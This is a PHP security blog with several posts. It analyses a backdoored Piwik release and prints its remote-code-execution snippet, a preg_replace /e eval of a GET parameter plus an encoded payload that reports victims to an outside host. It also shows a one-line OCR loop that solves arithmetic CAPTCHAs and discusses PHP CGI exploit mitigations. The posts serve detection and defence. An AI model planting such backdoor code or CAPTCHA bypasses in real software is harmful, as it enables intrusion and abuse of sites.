Yet Another PHP Security Blog

It appears that between 15:43 UTC to 23:59 UTC on November 26th, the piwik.org web server was serving a backdoored version of the popular open-source web analytics tool. This version contained some PHP code that essentially allowed for unlimited remote code execution and posted each compromise to a remote domain:

preg_replace(“/(.+)/e”, $_GET[’g’], ‘dwm’);     exit;

}

if (file_exists(dirname(_FILE_).“/lic.log”)) exit;

eval(gzuncompress(base64_decode(’eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF

/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWE$[..]

The eval() portion in the lower part contains a postback to http://prostoivse.com/x.php, sending the value of $_SERVER[’HTTP_HOST’] and by that giving the backdoor developer an indicator that he has just successfully infected another victim.

The actual backdoor is in the upper part. If the GET variables “g” and “s” are set, the static string “dwm” is replaced with the contents of $_GET[’g’] and the resulting string is evaluated as PHP code (/e modifier).

The backdoor postback site is still up and hosted by a company called “justhost.com”, It seems to be on a shared server. The website of justhost looks like a run-of-the-mill quasi-anonymous US hoster, with lots of shiny colorful award badges, stock imagery and (probably) a template from templatemonster.

Whois shows that the actual carrier is “unified layer”:

NetRange:       50.87.0.0 - 50.87.255.255

CIDR:           50.87.0.0/16

OriginAS:       AS46606

NetName:        UNIFIEDLAYER-NETWORK-9

NetHandle:      NET-50-87-0-0-1

Parent:         NET-50-0-0-0-0

NetType:        Direct Allocation

RegDate:        2011-01-24

Updated:        2012-11-14

Ref:            http://whois.arin.net/rest/net/NET-50-87-0-0-1





OrgName:        Unified Layer

OrgId:          BLUEH-2

Address:        1958 South 950 East

City:           Provo

StateProv:      UT

PostalCode:     84606

Country:        US

RegDate:        2006-08-08

Updated:        2012-11-26

Ref:            http://whois.arin.net/rest/org/BLUEH-2

The ARIN hdl “BLUEH-2” made me curious and after another minute of digging, I found that the AS serving the above mentioned network is actually AS46606, which is owned by BLUEHOST. Purportedly, this is one of the biggest hosters worldwide (I just heard of them for the first time in my life). Hopefully, they will C&D this abuse site soon.

If you updated your Piwik installation on Nov 26th, check piwik/core/Loader.php for the exploit code shown above and if you find it (or anything else which looks fishy), replace with a clean installation from piwik.org.

To the piwik guys: Signed archive hashes would probably be a good idea.

During one of my PHP security sessions, I was asked about “calculation captchas”. These look like this: and the Turing test (if you want to call it that) is solving the task in the picture.
But wait, isn’t it the main function of a computer to perform calculations? So how can this be "Completely Automatted Public Turing test to tell Computers and Humans Apart?

Just for shits and giggles, I downloaded 100 of these little images from the site that I saw them on, and fired up gocr. I piped the results into bc and voilá:

18 - 8 = 10

13 - 5 = 8

13+4 = 17

13 - 5 = 8

16 - 2 = 14

19 - 3 = 16

11 - 3 = 8

13 - 5 = 8

13+2 = 15

14+4 = 18

15 - 4 = 11

10 - 4 = 6

11+1 = 12

10 - 2 = 8

82% of CAPTCHAs solved on the first try, with plain (untrained) gocr and a one-line shell script.

for i in *; 

do 

    calculation=`gocr $i | sed -e ‘s/=//’ -e ‘s/\?//’`;

    solution=`echo $calculation|bc`;

    echo $calculation “=” $solution;

done

OK, so I was playing around with Content security policies for a bit. I hacked up a very, very basic example page (you can switch the CSP headers off by ommitting the query string) that sets the following headers:


header(“X-Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; img-src www.php-security.net; script-src ‘self’ ‘unsafe-inline’; report-uri /report.php”);
header(“X-Webkit-CSP: default-src ‘self’ ‘unsafe-inline’; img-src www.php-security.net; script-src ‘self’ ‘unsafe-inline’; report-uri /report.php”);
header(“Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; img-src www.php-security.net; script-src ‘self’ ‘unsafe-inline’; report-uri /report.php”);



According to the spec, this should enable the otherwise forbidden execution of inline scripts via tags, allow images to be loaded from php-security.net and scripts only to be loaded from the domain the document resides on (also php-security.net). Safari and Chrome do exactly what I would like them to do, however current release Firefox seems to not have a way to allow inline script, although the policy states otherwise.

The report shows:

Blocked-URI: self
Violated Directive: inline script base restriction


Did I implement the policy wrong or is this a bug in Firefox’s interpretation of the spec?
Of course it does not make a lot of sense to implement a CSP and still allow inline script execution, but when looking at customer sites, I cannot even begin to imagine the breakage that would be caused by banning et al. So it’s probably a necessity to at least have a reliable possibility to allow inline script execution for now and tighten the requirement later.

Two versions of PHP were just released and fix different security issues. With that, I think the problems that caused a stir last week are now fixed. Read more here: PHP 5.4.3 and 5.3.13 fix several security issues.

Further reading on php.net:

• Release announcement: PHP 5.4.3/5.3.13 release announcement
  
• Download page: PHP 5.4.3, 5.3.13
  

So PHP 5.4.2 and 5.3.12 do not fix the security issue reported in CVE-2012-1823 and discussed here earlier. The original advisory has a number of mitigation opportunities and an additional patch, and PHP.net has a RewriteRule online as a hotfix.

Update As mentioned on Eindbazen: The current fixes have a problem with whitespace BEFORE the actual Query String, i.e. “/?+-s”. This only applies in the wrapper environment outlined by eindbazen.net where command-line arguments are passed without double quotes to PHP, as in /usr/bin/php5 $@.

I want to discuss now shortly if any of these properly mitigate the issue.

1. PHP 5.4.2 does not mitigate the issue.
   
2. RewriteRule on php.net: The RewriteRule posted on PHP.net is useless. I can’t go into much detail here but it does not mitigate the issue properly.
   
3. RewriteRule on bugs.php.net: The comments in the original advisory show a RewriteRule that was posted on bugs.php.net originally. I tried this against an unpatched PHP 5.3.3-7+Squeeze8 and it seems to correctly filter all malicious query strings, including my variations. It has a tiny bit of overshoot though (for example, passing negative integers to the query string will trigger a 403), but it’s not practically relevant, I think.
   
4. Binary Wrapper and Option-stripping patch on eindbazen.net: The guys who wrote the original advisory wrote a patch and a php-cgi wrapper that strips all “-xyz” options respectively skips option processing when in CGI mode. This works well, too.
   
5. Patch “third option” on eindbazen.net: This patch does not properly mitigate the issue.
   

So, right now you will probably want to use the following RewriteRule:

RewriteEngine on

RewriteCond %{QUERY_STRING} ^[^=]*$

RewriteCond %{QUERY_STRING} %2d|\- [NC]

RewriteRule .? - [F,L]

This is the easiest way to hot-fix the issue until a working PHP version is released.

In the meantime, CVE-2012-2311 has been issued to address the fact that PHP 5.4.2 and 5.3.12 (which I never tested, btw, but the patch is identical) do not properly fix the problem.

Read the original advisory here and my earlier article here.